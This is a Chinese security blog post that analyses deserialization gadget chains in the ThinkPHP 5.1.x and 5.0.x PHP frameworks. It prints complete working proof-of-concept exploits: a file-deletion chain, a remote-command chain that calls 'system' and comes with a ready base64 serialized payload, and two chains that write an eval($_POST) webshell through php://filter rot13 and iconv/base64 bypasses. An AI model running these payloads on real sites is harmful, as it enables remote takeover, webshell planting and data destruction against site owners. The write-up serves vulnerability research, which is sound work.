[PHP代码审计]TP5漏洞--反序列化


https://github.com/Mochazz/ThinkPHP-Vuln

[TOC]

ThinkPHP5.1.X反序列化漏洞分析

环境搭建

➜  composer create-project --prefer-dist topthink/think tpdemo
➜  cd tpdemo
➜  vim composer.json # 把"topthink/framework": "5.1.*"改成"topthink/framework": "5.1.37"
➜  composer update

修改控制器

<?php
namespace app\index\controller;
class Index
{
    public function index()
    {
        unserialize(base64_decode($_POST['a']));
        return "Welcome!";
    }
}

漏洞分析

任意文件删除漏洞

全局搜索 __destruct(),在 think\process\pipes\Windows.php 中存在删除文件的方法

public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }
/**
     * 删除临时文件
     */
    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

非常简单的链子,这里直接删除指定文件,参数均可控

<?php
namespace think\process\pipes;

class Pipes{}

class Windows extends Pipes
{
	private $files = ['D:\\1.txt'];
}

echo base64_encode(serialize(new Windows()));

RCE

接着看,查一下 file_exists() 用法发现其参数为 String

image-20210811165913118

可以想到魔法函数 __toString(将对象当成字符串时调用),接着搜索 __toString找到两个可利用点:thinkphp\library\think\Collection.phpthinkphp\library\think\model\concern\Conversion.php,这里分析 Conversion,另外一个下面分析

image-20210811170504257

toArray() 中利用点在下图最后两句,这里的 $this->append 可控 。然后 if 里面 $relation 不会为空,不用管,进入第二个 if 后先跟进 getAttr() 看看

image-20210811170554293

这里又调用了 getData(),再进去看看

image-20210811170735163

getData() 这里 $this->data 可控

这里一路看下来 $name$data 均可空,所以 $relation->visible($name) 就变成了 可控类->visible(可控参数)

接下来的思路就是找 可利用的visible()方法 或者 可利用的 __call()

image-20210811170759677

翻了一圈 visible() 没有可用的,__call() 有个地方可以(看大佬文章说 call_user_funccall_user_func_array 一般都在 __call() 里面),在 thinkphp\library\think\Request.php__call() 中确实存在 call_user_func_array(),分析过 TP5 RCE 的应该对这个类很熟悉了吧,基本上都跑不掉这个类里的 input()function input($data = [], $name = '', $default = null, $filter = '')),只要能控制方法的 data 参数就能 RCE,但是并不会这么顺利,来看 __call()

330 行,使用 array_unshift()$this 对象添加到 $args 数组的第一位,所以在构造 POC 时就要控制 hookarray(任意类,任意方法) 这样试的

直接调用 input() ?不行,在 input() 中会对 $name 进行强转 $name = (string) $name; 传入对象会直接报错,所以使用 ide 对其进行回溯,查找调用 input() 的方法

image-20210811171739043

挺多的,但是都不能直接利用,比如 get(),第二个参数 $namecall_user_func_array() 的第二个参数,是对象

image-20210811172624170

function param($name = '', $default = null, $filter = '') 的回溯中发现 isAjax()isPjax()$this->config['var_ajax'] 是可控的,那么 input() 的第一个参数也是可控的,由于只给 input() 传了一个参数,其 $name 默认为空,链子不就有了?

image-20210811173210368

编写 POC

在写 POC 中发现 Conversion.phpAttribute.php 类的定义为 trait,额,没见过,搜索一番发现其就是 复用代码,使用时直接 use 其命名空间即可把代码插进去(include?不清楚),向上查找发现 thinkphp\library\think\Model.php 同时使用了 ConversionAttribute,但它又是抽象类的。。。再回溯

image-20210811174018003

thinkphp\library\think\model\Pivot.php 继承了 Model 且类内部方法简单,就选他了

image-20210811174114305

POC:

<?php

namespace think\model;

use think\Model;

class Pivot extends Model
{
}

namespace think\process\pipes;

use think\model\Pivot;

class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files[] = new Pivot();
    }
}


namespace think;

abstract class Model
{
    protected $append = [];
    private $data = [];

    public function __construct()
    {
        $this->append = array('yq1ng' => array('hello'=>'thinkphp'));
        $this->data = array('yq1ng' => new Request());
    }
}

class Request
{
    protected $hook = [];
    protected $config = [
        // 表单请求类型伪装变量
        'var_method' => '_method',
        // 表单ajax伪装变量
        'var_ajax' => '_ajax',
        // 表单pjax伪装变量
        'var_pjax' => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo' => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter' => '',
        // 域名根,如thinkphp.cn
        'url_domain_root' => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip' => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix' => 'html',
    ];
    protected $filter;

    public function __construct()
    {
        $this->hook['visible'] = [$this, 'isAjax'];
        $this->config['var_ajax'] = '';
        $this->filter = 'system';
    }
}

use think\process\pipes\Windows;

echo base64_encode(serialize(new Windows()));
/*
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiI
AKgBhcHBlbmQiO2E6MTp7czo1OiJ5cTFuZyI7YToxOntzOjU6ImhlbGxvIjtzOjg6InRoaW5rcGhwIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NToieXExbmciO086MTM6InRoaW5rXFJlcXVlc3
QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6ODtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBjb25maWciO2E6MTA6e3M6MTA6InZhcl9tZXRob2QiO3M6NzoiX21ldGhvZ
CI7czo4OiJ2YXJfYWpheCI7czowOiIiO3M6ODoidmFyX3BqYXgiO3M6NToiX3BqYXgiO3M6MTI6InZhcl9wYXRoaW5mbyI7czoxOiJzIjtzOjE0OiJwYXRoaW5mb19mZXRjaCI7YTozOntpOjA7czoxNDoiT1JJR19Q
QVRIX0lORk8iO2k6MTtzOjE4OiJSRURJUkVDVF9QQVRIX0lORk8iO2k6MjtzOjEyOiJSRURJUkVDVF9VUkwiO31zOjE0OiJkZWZhdWx0X2ZpbHRlciI7czowOiIiO3M6MTU6InVybF9kb21haW5fcm9vdCI7czowOiI
iO3M6MTY6Imh0dHBzX2FnZW50X25hbWUiO3M6MDoiIjtzOjEzOiJodHRwX2FnZW50X2lwIjtzOjE0OiJIVFRQX1hfUkVBTF9JUCI7czoxNToidXJsX2h0bWxfc3VmZml4IjtzOjQ6Imh0bWwiO31zOjk6IgAqAGZpbH
RlciI7czo2OiJzeXN0ZW0iO319fX19
*/

POST 的同时 GET 一个随便的变量名过去即可

image-20210811174414423

上面提到 __toString 有两个利用点,另外一个你想出来了吗,很简单,对吧。本来想放 POC 的,但是本地的被我搞丢了,就是直接 new Model() 就行啦

参考

挖掘暗藏ThinkPHP中的反序列利用链

ThinkPHP5.0.X反序列化漏洞分析

环境搭建

composer create-project topthink/think=5.0.14 tp5.0.14

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        echo $_POST['c'];
        unserialize($_POST['c']);
        return 'Welcome to thinkphp5.0.24';
    }
}

漏洞分析

任意文件删除

不再赘述,和上面一样

写马

5.1 的在这里不适用,看下图比较,可控参数无了,链子也变了

image-20210818161921550

前面还是 Windows->__destruct() --> Windows->removeFiles(),接着搜索 __toString() 找到 think\Model ,也类似,还是来到 toArray(),如果 $value 可控,则能调用 __call(),这里 $append 可控,所以 $name 可控,然后向上看先跟进 parseName()

image-20210818163021480

由于 $name 可控,所以这里 $relation 也可控,但其首字母为小写

image-20210818163249529

$relation 可控了,那么 $modelRelation 就是本类任意方法 return 的结果 ($modelRelation = $this->$relation();),选择 getError() 方法,因为它简单且可控

image-20210818165212872

再看 getRelationData() ,要求 $modelRelationRelation类 ,如果能进第一个 if 那么 $value 就可控了,看看 isSelfRelation()getModel()

image-20210818165845314

都是可控的,那么 $value 也就可控了

public function isSelfRelation()
{
    return $this->selfRelation;
}
public function getModel()
{
    return $this->query->getModel();
}

再看 $value->getAttr($attr) ,类可控了,方法参数能不能控制呢?看看 $attr 怎么来的,搜 getBindAttr()

image-20210818170513184

thinkphp\library\think\model\relation\OneToOne.php 中找到可控的 bindAttr,且 abstract class OneToOne extends Relation,还要找其子类,两个随便选一个

image-20210818170638650

image-20210818170913479

到这里 $value->getAttr($attr) 完全可控了,接下来就是找一个可利用的 getAttr() 或者 __call(),但是getAttr() 只在 \think\Model 中有,没什么利用的,再搜 __call(,可以利用 thinkphp\library\think\console\Output.php ,一路跟下去喽

image-20210818171650765

image-20210818171658389

image-20210818171709659

image-20210818171811713

$this->handle 可控,搜索 write(),来到 thinkphp\library\think\session\driver\Memcache.php$this->handle 也是可控,再搜 set()

image-20210819152612316

找到 thinkphp\library\think\cache\driver\File.php ,但是这个很熟悉对不对,上一篇文章的 缓存写马 就是这里,这个版本修复过了,缓存不能用,加了死亡退出。止步不前了?往下看

image-20210818172106047

159 行的 $filename 由 149 行决定,跟进 getCacheKey()$this->options 可控 ==> $filename 可控

image-20210818172438612

激动了吗,看 $data 可控吗,调用 set() 哪里最后一个参数不可控,$this->config['expire']==3306,所以没法写 shell 了

image-20210818173228658

失望,,,继续看 setTagItem(),最后又掉用了 set(),且此次是以文件名为文件内容写入文件,关于死亡推出 P神 写过绕过方法,这里用最简单的 rot13 进行绕过

image-20210818173334384

image-20210818173345880

$this->options['path']getCacheKey)设置为 php://filter/write=string.rot13/resource=<?cuc @riny($_cbfg['ld1at']);?>

借用 osword 师傅的图

总结

POC编写

<?php
/**
 * @Author ying
 * @Date 8/18/2021 5:49 PM
 * @Version 1.0
 */

namespace think\process\pipes {

    use think\model\Pivot;

    class Windows
    {
        private $files = [];

        public function __construct()
        {
            $this->files = array(new Pivot());
        }
    }
}

namespace think\model {

    use think\console\Output;
    use think\model\relation\BelongsTo;

    class Pivot
    {
        protected $append = [];
        protected $error;
        protected $parent;

        public function __construct()
        {
            $this->append = array('yq1ng' => 'getError');
            $this->error = new BelongsTo();
            $this->parent = new Output();
        }
    }
}

namespace think\model\relation {

    use think\db\Query;

    class BelongsTo
    {
        protected $bindAttr = [];
        protected $selfRelation;
        protected $query;

        public function __construct()
        {
            $this->bindAttr = array('yq1ng' => 'hello');
            $this->selfRelation = false;
            $this->query = new Query();
        }
    }
}

namespace think\db {

    use think\console\Output;

    class Query
    {
        protected $model;

        public function __construct()
        {
            $this->model = new Output();
        }
    }
}

namespace think\console {

    use think\session\driver\Memcache;

    class Output
    {
        protected $styles = [];
        private $handle = null;

        public function __construct()
        {
            $this->styles = ['getAttr'];
            $this->handle = new Memcache();
        }
    }
}

namespace think\session\driver {

    use think\cache\driver\File;

    class Memcache
    {
        protected $handler;

        public function __construct()
        {
            $this->handler = new File();
        }
    }
}

namespace think\cache\driver {

    class File
    {
        protected $options = [];
        protected $tag;

        public function __construct()
        {
            $this->options = [
                'expire' => 0,
                'cache_subdir' => false,
                'prefix' => '',
                'path' => 'php://filter/write=string.rot13/resource=<?cuc @riny($_cbfg[\'ld1at\']);?>',
                'data_compress' => false,
            ];
            $this->tag = 'yq1ng';
        }
    }
}

namespace {

    use think\process\pipes\Windows;

    echo urlencode(serialize(new Windows()));
}

但是这个 POC 只能在 Linux 上使用,因为 win 不允许文件名带有特殊字符。but 这个 POC 用了之后我不能执行命令,只能访问,其页面报错为 Parse error: syntax error, unexpected 'rkvg' (T_STRING)` ,后来参考这篇文章 Thinkphp5.0反序列化链在Windows下写文件的方法 得以解决,win 和 Linux通用

其中文件名是可推测的,filenamea.php.md5('tag_'.md5($this->tag)).php

<?php
/**
 * @Author ying
 * @Date 8/18/2021 5:49 PM
 * @Version 1.0
 */

namespace think\process\pipes {

    use think\model\Pivot;

    class Windows
    {
        private $files = [];

        public function __construct()
        {
            $this->files = array(new Pivot());
        }
    }
}

namespace think\model {

    use think\console\Output;
    use think\model\relation\BelongsTo;

    class Pivot
    {
        protected $append = [];
        protected $error;
        protected $parent;

        public function __construct()
        {
            $this->append = array('yq1ng' => 'getError');
            $this->error = new BelongsTo();
            $this->parent = new Output();
        }
    }
}

namespace think\model\relation {

    use think\db\Query;

    class BelongsTo
    {
        protected $bindAttr = [];
        protected $selfRelation;
        protected $query;

        public function __construct()
        {
            $this->bindAttr = array('yq1ng' => 'hello');
            $this->selfRelation = false;
            $this->query = new Query();
        }
    }
}

namespace think\db {

    use think\console\Output;

    class Query
    {
        protected $model;

        public function __construct()
        {
            $this->model = new Output();
        }
    }
}

namespace think\console {

    use think\session\driver\Memcache;

    class Output
    {
        protected $styles = [];
        private $handle = null;

        public function __construct()
        {
            $this->styles = ['getAttr'];
            $this->handle = new Memcache();
        }
    }
}

namespace think\session\driver {

    use think\cache\driver\File;

    class Memcache
    {
        protected $handler;

        public function __construct()
        {
            $this->handler = new File();
        }
    }
}

namespace think\cache\driver {

    class File
    {
        protected $options = [];
        protected $tag;

        public function __construct()
        {
            $this->options = [
                'expire' => 0,
                'cache_subdir' => false,
                'prefix' => '',
                'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
                'data_compress' => false,
            ];
            $this->tag = 'yq1ng';
        }
    }
}

namespace {

    use think\process\pipes\Windows;

    echo urlencode(serialize(new Windows()));
}

win 写入情况如下,可利用

image-20210819154713413


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录